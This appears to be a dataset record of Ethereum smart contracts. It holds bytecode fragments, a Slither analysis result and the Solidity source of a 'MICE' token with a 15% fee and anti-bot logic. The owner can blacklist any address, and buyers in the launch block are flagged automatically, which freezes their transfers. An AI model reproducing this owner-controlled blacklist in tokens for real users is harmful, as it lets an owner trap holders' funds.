fffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114739061294c565b60405180910390fd5b6114f6600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612c5c6036913961132b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115dd600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612cba6030913961194a565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a791906129e6565b60405180910390a3611778600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119c0565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119378284836119c0565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ab919061288a565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0a57506000816bffffffffffffffffffffffff16115b15611cb657600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b62576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aad576000611b29565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b508285604051806060016040528060288152602001612c926028913961132b565b9050611b5e86848484611cbb565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb5576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c00576000611c7c565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca38285604051806060016040528060278152602001612bd26027913961194a565b9050611cb185848484611cbb565b5050505b5b505050565b6000611cdf43604051806060016040528060348152602001612cea60349139611fae565b905060008463ffffffff16118015611d7457508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0f5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f57565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9f929190612a1c565b60405180910390a25050505050565b600064010000000083108290611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff1919061288a565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061204181612b5e565b92915050565b60008135905061205681612b75565b92915050565b60008135905061206b81612b8c565b92915050565b60008135905061208081612ba3565b92915050565b60008135905061209581612bba565b92915050565b6000602082840312156120ad57600080fd5b60006120bb84828501612032565b91505092915050565b600080604083850312156120d757600080fd5b60006120e585828601612032565b92505060206120f685828601612032565b9150509250929050565b60008060006060848603121561211557600080fd5b600061212386828701612032565b935050602061213486828701612032565b92505060406121458682870161205c565b9150509250925092565b6000806040838503121561216257600080fd5b600061217085828601612032565b92505060206121818582860161205c565b9150509250929050565b60008060008060008060c087890312156121a457600080fd5b60006121b289828a01612032565b96505060206121c389828a0161205c565b95505060406121d489828a0161205c565b94505060606121e589828a01612086565b93505060806121f689828a01612047565b92505060a061220789828a01612047565b9150509295509295509295565b6000806040838503121561222757600080fd5b600061223585828601612032565b925050602061224685828601612071565b9150509250929050565b61225981612a77565b82525050565b61226881612a89565b82525050565b61227781612a95565b82525050565b61228e61228982612a95565b612b43565b82525050565b600061229f82612a50565b6122a98185612a5b565b93506122b9818560208601612b10565b6122c281612b4d565b840191505092915050565b60006122d882612a45565b6122e28185612a5b565b93506122f2818560208601612b10565b6122fb81612b4d565b840191505092915050565b6000612313603c83612a5b565b91507f4d696e643a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612379600283612a6c565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006123b9602783612a5b565b91507f4d696e643a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061241f604383612a6c565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006124ab602683612a5b565b91507f4d696e643a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612511602683612a5b565b91507f4d696e643a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612577602283612a5b565b91507f4d696e643a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125dd603a83612a5b565b91507f4d696e643a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b6000612643603a83612a6c565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6126a581612abf565b82525050565b6126b481612ac9565b82525050565b6126c381612ad9565b82525050565b6126d281612afe565b82525050565b6126e181612ae6565b82525050565b60006126f28261236c565b91506126fe828561227d565b60208201915061270e828461227d565b6020820191508190509392505050565b600061272982612412565b9150819050919050565b600061273e82612636565b9150819050919050565b600060208201905061275d6000830184612250565b92915050565b6000602082019050612778600083018461225f565b92915050565b6000602082019050612793600083018461226e565b92915050565b60006080820190506127ae600083018761226e565b6127bb6020830186612250565b6127c8604083018561269c565b6127d5606083018461269c565b95945050505050565b60006080820190506127f3600083018761226e565b612800602083018661226e565b61280d604083018561269c565b61281a6060830184612250565b95945050505050565b6000608082019050612838600083018761226e565b61284560208301866126ba565b612852604083018561226e565b61285f606083018461226e565b95945050505050565b6000602082019050818103600083015261288281846122cd565b905092915050565b600060208201905081810360008301526128a48184612294565b905092915050565b600060208201905081810360008301526128c581612306565b9050919050565b600060208201905081810360008301526128e5816123ac565b9050919050565b600060208201905081810360008301526129058161249e565b9050919050565b6000602082019050818103600083015261292581612504565b9050919050565b600060208201905081810360008301526129458161256a565b9050919050565b60006020820190508181036000830152612965816125d0565b9050919050565b6000602082019050612981600083018461269c565b92915050565b600060208201905061299c60008301846126ab565b92915050565b60006040820190506129b760008301856126ab565b6129c460208301846126d8565b9392505050565b60006020820190506129e060008301846126ba565b92915050565b60006020820190506129fb60008301846126c9565b92915050565b6000602082019050612a1660008301846126d8565b92915050565b6000604082019050612a3160008301856126c9565b612a3e60208301846126c9565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a8282612a9f565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0982612ae6565b9050919050565b60005b83811015612b2e578082015181840152602081019050612b13565b83811115612b3d576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6781612a77565b8114612b7257600080fd5b50565b612b7e81612a95565b8114612b8957600080fd5b50565b612b9581612abf565b8114612ba057600080fd5b50565b612bac81612ac9565b8114612bb757600080fd5b50565b612bc381612ad9565b8114612bce57600080fd5b5056fe4d696e643a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734d696e643a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734d696e643a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654d696e643a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d696e643a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734d696e643a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734d696e643a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734d696e643a3a617070726f76653a20616d6f756e7420657863656564732039362062697473a365627a7a723158205afd7bc596c00f48c9a3937f45f6e6739ef4505ea002064d5fc5f9c4c55823856c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
8,880
0x9378e4fcc68d5bfb4d5531d80f44bdf2291126ad
/* MICE TOKEN telegram: https://t.me/MiceToken_ETH Website will be released after launch */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract MICE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Mice Token"; string private constant _symbol = "MICE"; uint private constant _decimals = 9; uint256 private _teamFee = 15; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(3).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (1 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setSnipper(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f1578063cf0848f714610406578063cf9d4afa14610426578063dd62ed3e14610446578063e6ec64ec1461048c578063f2fde38b146104ac57600080fd5b8063715018a6146103275780638da5cb5b1461033c57806390d49b9d1461036457806395d89b411461038457806399468008146103b1578063a9059cbb146103d157600080fd5b806331c2d8471161010857806331c2d847146102405780633bbac57914610260578063437823ec14610299578063476343ee146102b95780635342acb4146102ce57806370a082311461030757600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b757806318160ddd146101e757806323b872dd1461020c578063313ce5671461022c57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cc565b005b34801561017e57600080fd5b5060408051808201909152600a81526926b4b1b2902a37b5b2b760b11b60208201525b6040516101ae91906118e9565b60405180910390f35b3480156101c357600080fd5b506101d76101d2366004611963565b610518565b60405190151581526020016101ae565b3480156101f357600080fd5b50678ac7230489e800005b6040519081526020016101ae565b34801561021857600080fd5b506101d761022736600461198f565b61052f565b34801561023857600080fd5b5060096101fe565b34801561024c57600080fd5b5061017061025b3660046119e6565b610598565b34801561026c57600080fd5b506101d761027b366004611aab565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a557600080fd5b506101706102b4366004611aab565b61062e565b3480156102c557600080fd5b5061017061067c565b3480156102da57600080fd5b506101d76102e9366004611aab565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031357600080fd5b506101fe610322366004611aab565b6106b6565b34801561033357600080fd5b506101706106d8565b34801561034857600080fd5b506000546040516001600160a01b0390911681526020016101ae565b34801561037057600080fd5b5061017061037f366004611aab565b61070e565b34801561039057600080fd5b506040805180820190915260048152634d49434560e01b60208201526101a1565b3480156103bd57600080fd5b506101706103cc3660046119e6565b610788565b3480156103dd57600080fd5b506101d76103ec366004611963565b6108a1565b3480156103fd57600080fd5b506101706108ae565b34801561041257600080fd5b50610170610421366004611aab565b610965565b34801561043257600080fd5b50610170610441366004611aab565b6109b0565b34801561045257600080fd5b506101fe610461366004611ac8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049857600080fd5b506101706104a7366004611b01565b610c0b565b3480156104b857600080fd5b506101706104c7366004611aab565b610c81565b6000546001600160a01b031633146104ff5760405162461bcd60e51b81526004016104f690611b1a565b60405180910390fd5b600061050a306106b6565b905061051581610d19565b50565b6000610525338484610e93565b5060015b92915050565b600061053c848484610fb7565b61058e843361058985604051806060016040528060288152602001611c95602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d2565b610e93565b5060019392505050565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016104f690611b1a565b60005b815181101561062a576000600560008484815181106105e6576105e6611b4f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062281611b7b565b9150506105c5565b5050565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016104f690611b1a565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062a573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105299061140c565b6000546001600160a01b031633146107025760405162461bcd60e51b81526004016104f690611b1a565b61070c6000611490565b565b6000546001600160a01b031633146107385760405162461bcd60e51b81526004016104f690611b1a565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016104f690611b1a565b60005b815181101561062a57600c5482516001600160a01b03909116908390839081106107e1576107e1611b4f565b60200260200101516001600160a01b0316141580156108325750600b5482516001600160a01b039091169083908390811061081e5761081e611b4f565b60200260200101516001600160a01b031614155b1561088f5760016005600084848151811061084f5761084f611b4f565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061089981611b7b565b9150506107b5565b6000610525338484610fb7565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016104f690611b1a565b600c54600160a01b900460ff1661093c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f6565b600c805460ff60b81b1916600160b81b17905542600d81905561096090603c611b96565b600e55565b6000546001600160a01b0316331461098f5760405162461bcd60e51b81526004016104f690611b1a565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109da5760405162461bcd60e51b81526004016104f690611b1a565b600c54600160a01b900460ff1615610a425760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abd9190611bae565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2e9190611bae565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f9190611bae565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c355760405162461bcd60e51b81526004016104f690611b1a565b600f811115610c7c5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104f6565b600855565b6000546001600160a01b03163314610cab5760405162461bcd60e51b81526004016104f690611b1a565b6001600160a01b038116610d105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f6565b61051581611490565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6157610d61611b4f565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190611bae565b81600181518110610df157610df1611b4f565b6001600160a01b039283166020918202929092010152600b54610e179130911684610e93565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e50908590600090869030904290600401611bcb565b600060405180830381600087803b158015610e6a57600080fd5b505af1158015610e7e573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f6565b6001600160a01b038216610f565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f6565b6001600160a01b03821661107d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f6565b600081116110df5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f6565b6001600160a01b03831660009081526005602052604090205460ff16156111875760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f6565b6001600160a01b03831660009081526004602052604081205460ff161580156111c957506001600160a01b03831660009081526004602052604090205460ff16155b80156111df5750600c54600160a81b900460ff16155b801561120f5750600c546001600160a01b038581169116148061120f5750600c546001600160a01b038481169116145b156113c057600c54600160b81b900460ff1661126d5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610